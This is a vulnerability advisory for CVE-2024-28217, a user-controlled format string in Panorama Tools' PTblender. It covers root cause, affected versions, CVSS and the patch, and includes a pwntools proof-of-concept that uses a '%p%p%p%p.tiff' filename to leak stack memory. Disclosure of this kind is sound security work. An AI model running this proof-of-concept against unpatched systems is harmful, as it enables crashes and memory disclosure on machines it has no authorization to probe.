Tainted format string in Panorama Tools (CVE-2024-28217)
Summary
A user-controlled format string in ReadHistograms()
in Panorama Tools' PTblender
0.4
through 2.9.21
allows local users to crash the program, or read and write the memory via the filename of an image.
Root cause analysis
The PrintError
variadic function takes a format string as the first parameter and is a proxy for PrintErrorIntern
. The latter calls vsnprintf(message, sizeof(message)-1, fmt, ap)
, where fmt
can be user-controlled. The output is printed afterward in a printf
call.
Having this in mind, one needs to call PrintError
with a user-controlled input in order to trigger the format string vulnerability. By analysing the source code, it was deduced that the function is called in this fashion in multiple locations.
PTblender
was leveraged as it can produce the following call trace:
1. ColourBrightness.c:ColourBrightness()
;
2. ColourBrightness.c:ReadHistograms
; and
3. PrintError
with a tainted argument.
ReadHistograms
creates a tempString2
string using snprintf(tempString2, sizeof(tempString2)-1, "Could not open TIFF file [%s]", tempString)
. As tempString
is user-controlled via PTblender
's arguments, it can contain control strings like %s
, %p
, and %n
. They will be reflected in tempString2
, which is used as an argument for PrintError
, which triggers the format string vulnerability.
CWEs
- CWE-134: Use of Externally-Controlled Format String
Affected components and releases
The affected function is ReadHistograms()
from ColourBrightness.c
, which is called when running the PTblender
executable.
PTblender.c
and the vulnerable code from ColourBrightness.c
were introduces in the revision 217. All subsequent releases after January 2006 (starting from 0.4
) are vulnerable.
The vulnerability was patched in 271b8ab4bd66
by removing the snprintf
call before PrintError
. The commit is embedded in the 2.9.22
release.
This being said, the versions are those between >=0.4
and <=2.9.21
.
Attack vector
An attacker must control the filename of the image supplied for processing to PTblender
.
Impact
The format string attacks permit the attacker to interrupt PTblender
's functioning, read the memory of the process, or write to it.
CVSS v3.1 vector
- Vector:
AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H
- Base score: 6.1
Steps to reproduce
By running the above script, an error containing the stack's content will be printed:
from pwn import process, ELF
import shutil
import os
FORMAT_STRING = "%p%p%p%p"
FIRST_IMAGE_FILENAME = FORMAT_STRING + ".tiff"
SECOND_IMAGE_FILENAME = "backup.tiff"
shutil.copyfile("image.tiff", FIRST_IMAGE_FILENAME)
shutil.copyfile("image.tiff", SECOND_IMAGE_FILENAME)
p = process(
[
"/usr/bin/PTblender",
"-f",
"-p",
"mend",
FIRST_IMAGE_FILENAME,
SECOND_IMAGE_FILENAME,
]
)
os.remove(FIRST_IMAGE_FILENAME)
output = p.recvall().decode("utf-8")
print(output)
A run of the exploitation script on Ubuntu 22.04 LTS outputs the following:
bash
$ python3 exploit.py
[...]
PTblender Version 2.9.20 , originally written by Helmut Dersch, rewritten by Daniel M German
Output prefix 2 mend
TIFFOpen: %p%p%p%p.tiff: No such file or directory.
Could not open TIFF file [0xffffa9cbab58(nil)(nil)0x3ffffa7de4d20.tiff]
[...]
Patch
Recommended to the maintainers
As PrintError
is intended to be called with a format string and multiple arguments, it can be gcc-annotated with format
, such that the format argument is type checked during compilation. Please see gcc's documentation.
Applied by the maintainers
The vulnerability was patched in the commit 271b8a
by removing the snprintf
calls before the PrintError
ones.
The patch was made available to the users in the 2.9.22
release.